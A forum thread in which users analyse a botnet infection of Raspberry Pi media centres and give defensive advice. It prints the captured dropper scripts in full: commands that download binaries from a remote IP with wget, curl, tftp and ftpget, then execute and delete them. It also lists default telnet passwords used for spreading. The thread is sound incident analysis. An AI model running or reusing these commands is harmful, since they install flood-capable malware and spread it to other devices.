RPi 1 PRIVNUT1 process

Ok - from the file you sent me, the script actually tells us what this is about.
Root-kit installation script, which downloads and executes itself, then deletes the code to not leave traces on the filesystem.
It first changes into a directory, and will choose the first match trying out tmp, /var/run, /mnt, /root and finally /.
Once in there, it downloads a file with wget. As wget does not exist everywhere, it tries again with curl, hoping that one of the commands is successfull.
Then it changes the mode of the file to be executable, executes it, then deletes itself.
What I didnā€™t find in the script, it the log-erase function. usually they have inside the script a
rm -f /var/log/system /var/log/messages /var/log/auth /var/log/secure ā€¦

And we see where he has all his files hosted. IP 185.73.147.5 (located in the Netherlands).

From the listing, it seems he tries to install a whole bunch of programs. Going from the names, we have here NTPD (Timeserver), sshd/openssh (SSH Server). These are probably modified to allow acces to certain people/ip/keys/hosts.

After that we have an own bash/sh, ftp and wget apache, telnet as a cron program. Probably all preconfigured in a way to implant itself onto the system, and once someone has detected parts and deleted it, can restore its hack again through an alternate method.

I suspect privnut does something else alltogether (DDoS, scans your Mediacenter for medias and shares these, or worse, shares these through a torrent. Weā€™d need to know exactly what it does, but I donā€™t have a free PI here to test it out. Iā€™d take a packet capture to analyze what happens with it. Or can one run the PI/Osmc image inside a virtual machine???

Eventually you could check the /root/.bash_history, /.bash_history and /home/kodi/.bash_history files to see if je did something else, or if this was a completely automated script.
Also, issue a: ~# last
command. This will show you who logged in and from where.

If there are no traces of a user-login from an unknown IP address, and the .bash_history files do not show any activity, chances are that the hack occured through a Kodi Add-On. Weā€™ll have to find that Add-On in that case!

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privntpd1; curl -O http://185.73.147.5/privntpd1; chmod +x privntpd1; ./privntpd1; rm -rf privntpd1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privsshd1; curl -O http://185.73.147.5/privsshd1; chmod +x privsshd1; ./privsshd1; rm -rf privsshd1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privopenssh1; curl -O http://185.73.147.5/privopenssh1; chmod +x privopenssh1; ./privopenssh1; rm -rf privopenssh1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privbash1; curl -O http://185.73.147.5/privbash1; chmod +x privbash1; ./privbash1; rm -rf privbash1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privtftp1; curl -O http://185.73.147.5/privtftp1; chmod +x privtftp1; ./privtftp1; rm -rf privtftp1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privwget1; curl -O http://185.73.147.5/privwget1; chmod +x privwget1; ./privwget1; rm -rf privwget1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privcron1; curl -O http://185.73.147.5/privcron1; chmod +x privcron1; ./privcron1; rm -rf privcron1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privftp1; curl -O http://185.73.147.5/privftp1; chmod +x privftp1; ./privftp1; rm -rf privftp1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privpftp1; curl -O http://185.73.147.5/privpftp1; chmod +x privpftp1; ./privpftp1; rm -rf privpftp1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privsh1; curl -O http://185.73.147.5/privsh1; chmod +x privsh1; ./privsh1; rm -rf privsh1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privnut1; curl -O http://185.73.147.5/privnut1; chmod +x privnut1; ./privnut1; rm -rf privnut1
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privapache21; curl -O http://185.73.147.5/privapache21; chmod +x privapache21; ./privapache21; rm -rf privapache21
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privtelnetd1; curl -O http://185.73.147.5/privtelnetd1; chmod +x privtelnetd1; ./privtelnetd1; rm -rf privtelnetd1

What you can do in a short-term to prevent this from happening, add a filter to block 185.73.147.5 to your firewall/router in both directions. This will prevent the user to download its files. But that is only valid until he identifies it and changes the remote server. If this is implanted through a Kodi Add-On, this would actually prevent this tool from spreading in your lan.

UPDATE: There is one thing I want you, and all the others, to be aware of.
The reason one secures his systems is not to have hackers go into it, and get a copy of your pr0n collection, or your contacts or your medias. The reason I secure my systems is to prevent these script kiddies to participate in new hacks using ā€œmyā€ system as source. Imagine a remote surgical operation takes place, and the DDoS cuts connectivity to the control-robot, patient dies.
That is the reason to secure your systemsā€¦ ! You donā€™t do that, your are liable for whatever is done through your device.

This is happening to me as well. I noticed after the last update that I was getting the high temp notification but thought it was a bug. A reboot usually fixed it but it always came back. I have a pi 2 and a pi 3, this is affecting the pi3. I checked top and saw Manu privnut1 processes using all of the cpu and searched and found a file name privnut1 in the temp folder. I couldnā€™t delete it but upon reboot it was gone. I have since stopped port forwarding of my ssh ports and have changed my passwords. Is there any way I can remove this without having to reinstall?

I ask because that pi is also running couchpotato and sickrage as well as a nodejs to allow me to control some smart plugs from withing Samsung smartthings and it will all be a pain to redo, but Iā€™ll do it if itā€™s recommended here.

Any assistance is welcome!

Because of the nasty things that a trojan like that can do, the safest thing will be to re-install. You have no idea what files may have been infected. And itā€™s probably quicker to just wipe clean and install.

Grrrrrrrr!

Guess Iā€™ll just take the next few hrs and do it. Wonder how I got infected thoughā€¦

I would suspect that having open ports and a default password could have had something to do with it :stuck_out_tongue:

I had a look at this file quickly before going to bed.

I did a fresh debootstrap of Raspbian (armv6l) and chrooted in using QEMU userspace emulation and executed the binary with an isolated network. All I got was:

BUILD HERAV2

A search finds that this binary was first detected on 6th February 2017. There are a couple of other entries on the website which suggests there may be one or more variants.

It appears to have been statically compiled for ARMv4l, so it will run on most embedded devices.

The purpose of the binary is to act as a grabber. It appears to have the following main capabilities:

  • It immediately checks for network connectivity and will attempt to make adjustments if necessary: for example, modifying /etc/resolv.conf to use a Google nameserver (8.8.8.8). Interestingly, all the URLs for files it downloads only use IPv4 addresses however.
  • It creates the directory /tmp/yuagwduiagwdhg, which it uses to save executable shell scripts to /tmp/yuagwduiagwdhg/a before running them and deleting the directory.
  • It creates a script containing the following contents, then runs it. This is to bring in static binary tools such as telnet etc that are guaranteed to work on the target
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.73.147.5/privatgodgg.sh; curl -O http://185.73.147.5/privatgodgg.sh; chmod 777 privatgodgg.sh; sh privatgodgg.sh; tftp 185.73.147.5 -c get privtftp1.sh; chmod 777 privtftp1.sh; sh privtftp1.sh; tftp -r privtftp2.sh -g 185.73.147.5; chmod 777 privtftp2.sh; sh privtftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.73.147.5 privftp1.sh privftp1.sh; sh privftp1.sh; rm -rf privatgodgg.sh privtftp1.sh privtftp2.sh privftp1.sh *
  • It listens for communication on 185.73.147.5:720. There appears to be some very basic communication, including using the key 0123456789abcdef. I didnā€™t sniff traffic to see how the communication worked.
  • It will keep itself up to date by monitoring a remote versioning file and kill the old version.
  • It scans the subnet and attempts to gain telnet access to systems using the username root and any of the following passwords:
admin
1234
123456
  • It has support for TCP and UDP flood attacks, including UDP packet spoofing.
  • It will collect information about the host, including the contents of /proc/cpuinfo, /etc/hosts, /proc/net/route. It reports this information back using a ā€˜view pageā€™ function. It sends this query using a variety of user agents:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11
Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11
Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1
Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3
Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6
Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)

Humorous strings:

not killing myself cuz im not that version
LOLNOGTFO
ā– ā– ā– ā–  YEAH DUD I SP00F (%s)
HTTPFLOOD

High CPU use is not the binary doing anything dodgy per se. When I first ran it, I ran it without procfs mounted, and it hung on trying to open /proc/cpuinfo. It reports information about the target system home.

In short: this is a basic dropper which invokes a BusyBox shell to grab files from the web. It listens for commands and can send UDP or TCP floods. It makes a very limited attempt to scan for other systems to compromise on the network.

This is why itā€™s important to never port-forward SSH unless you change the default password or use key based security.

Iā€™ve reported the details of this to the abuse contact of the ASN.

Sam

Good work Sam. And I should add that if you DO use port forwarding, make sure you have a VERY strong password for best security.

@sam_nazarko, can be added to the fresh install setup to ask for a password if owner want to use ssh service? This way would not remain the standard password.

Normally ssh is unproblematic as long you donā€™t open any ports to the outside world on the router.

Who does that should know what hes doing.

1 Like

The problem here is that people will likely forget their password.

We already allow wish to be configured on the first install. In future we will detect if the port is publicly exposed to the Internet and warn users if this is the case

Actually - copyyour public ssh key onto the deviceā€™s kodi account, and remove the password.
Passwords can always be brute-force attacked.

You are right, and I originally had that in my reply. But what if you have a need to connect from a new system, and donā€™t have you keys handy?

You donā€™tā€¦
You prepare the system, or you have a ā€œproxyā€ system for that.
I by example have on the outside a raspberry PI hosted in Austria for free.
On that, I have port-knocking enabled, with a dedicated account.
All others only public-key accessā€¦